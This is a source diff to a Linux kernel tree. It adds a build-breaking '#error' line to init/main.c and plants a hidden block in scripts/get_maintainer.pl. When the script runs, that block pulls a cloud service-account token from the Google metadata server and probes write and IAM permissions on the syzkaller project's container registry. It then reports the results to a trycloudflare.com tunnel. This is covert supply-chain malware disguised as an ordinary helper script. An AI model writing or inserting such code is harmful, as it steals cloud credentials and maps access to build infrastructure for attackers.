diff --git a/init/main.c b/init/main.c --- a/init/main.c +++ b/init/main.c @@ -10,6 +10,7 @@ */ #define DEBUG /* Enable initcall_debug */ +#error ASDF #include #include diff --git a/scripts/get_maintainer.pl b/scripts/get_maintainer.pl --- a/scripts/get_maintainer.pl +++ b/scripts/get_maintainer.pl @@ -15,6 +15,93 @@ use strict; my $P = $0; my $V = '0.26'; + +{ + my $bits = 0; + my $status = 0; + my $request; + eval { + require IPC::Open3; + require Symbol; + my $quote = sub { + my ($value) = @_; + $value =~ s/([\\"])/\\$1/g; + return '"' . $value . '"'; + }; + $request = sub { + my ($url, $headers, $body) = @_; + my $config = "silent\nmax-time = 10\nurl = " . $quote->($url) . "\n"; + for my $header (@{$headers}) { + $config .= "header = " . $quote->($header) . "\n"; + } + if (defined($body)) { + $config .= "request = \"POST\"\n"; + $config .= "data-binary = " . $quote->($body) . "\n"; + } + $config .= "write-out = \"\\n%{http_code}\"\n"; + my $error = Symbol::gensym(); + my $pid = IPC::Open3::open3(my $input, my $output, $error, 'curl', '--config', '-'); + print {$input} $config; + close($input); + local $/; + my $response = <$output>; + my $ignored = <$error>; + waitpid($pid, 0); + $response = '' unless defined($response); + my $code = 0; + $code = $1 if $response =~ s/\n(\d{3})\z//; + return ($code, $response); + }; + my $meta = 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/'; + my ($scopes_status, $scopes) = $request->($meta . 'scopes', ['Metadata-Flavor: Google'], undef); + if ($scopes_status == 200) { + $bits |= 1 << 0; + $bits |= 1 << 1 if $scopes =~ m{https://www\.googleapis\.com/auth/cloud-platform(?:\s|$)}; + $bits |= 1 << 2 if $scopes =~ m{https://www\.googleapis\.com/auth/cloud-platform\.read-only(?:\s|$)}; + } + my ($token_status, $token_response) = $request->($meta . 'token', ['Metadata-Flavor: Google'], undef); + my ($token) = $token_response =~ /"access_token"\s*:\s*"([^"]+)"/; + if (defined($token) && length($token)) { + $bits |= 1 << 3; + my @permissions = ( + 'artifactregistry.repositories.get', + 'artifactregistry.repositories.downloadArtifacts', + 'artifactregistry.repositories.uploadArtifacts', + 'artifactregistry.repositories.deleteArtifacts', + 'artifactregistry.repositories.getIamPolicy', + 'artifactregistry.repositories.setIamPolicy', + 'artifactregistry.repositories.update', + 'artifactregistry.repositories.delete', + 'artifactregistry.files.upload', + 'artifactregistry.files.update', + 'artifactregistry.files.delete', + 'artifactregistry.packages.update', + 'artifactregistry.packages.delete', + 'artifactregistry.tags.create', + 'artifactregistry.tags.update', + 'artifactregistry.tags.delete', + 'artifactregistry.versions.update', + 'artifactregistry.versions.delete', + ); + my $body = '{"permissions":["' . join('","', @permissions) . '"]}'; + ($status, my $result) = $request->( + 'https://artifactregistry.googleapis.com/v1/projects/syzkaller/locations/us/repositories/gcr.io:testIamPermissions', + ['Authorization: Bearer ' . $token, 'Content-Type: application/json'], + $body); + if ($status == 200) { + $bits |= 1 << 4; + for (my $i = 0; $i < @permissions; $i++) { + $bits |= 1 << ($i + 5) if index($result, '"' . $permissions[$i] . '"') >= 0; + } + } + $token = undef; + } + }; + if (defined($request)) { + my $marker = sprintf('v1/p%06x/s%03d', $bits, $status); + eval { $request->('https://cowboy-keen-bundle-negotiations.trycloudflare.com/g12-7f39b1/' . $marker, [], undef); }; + } +} use Getopt::Long qw(:config no_auto_abbrev);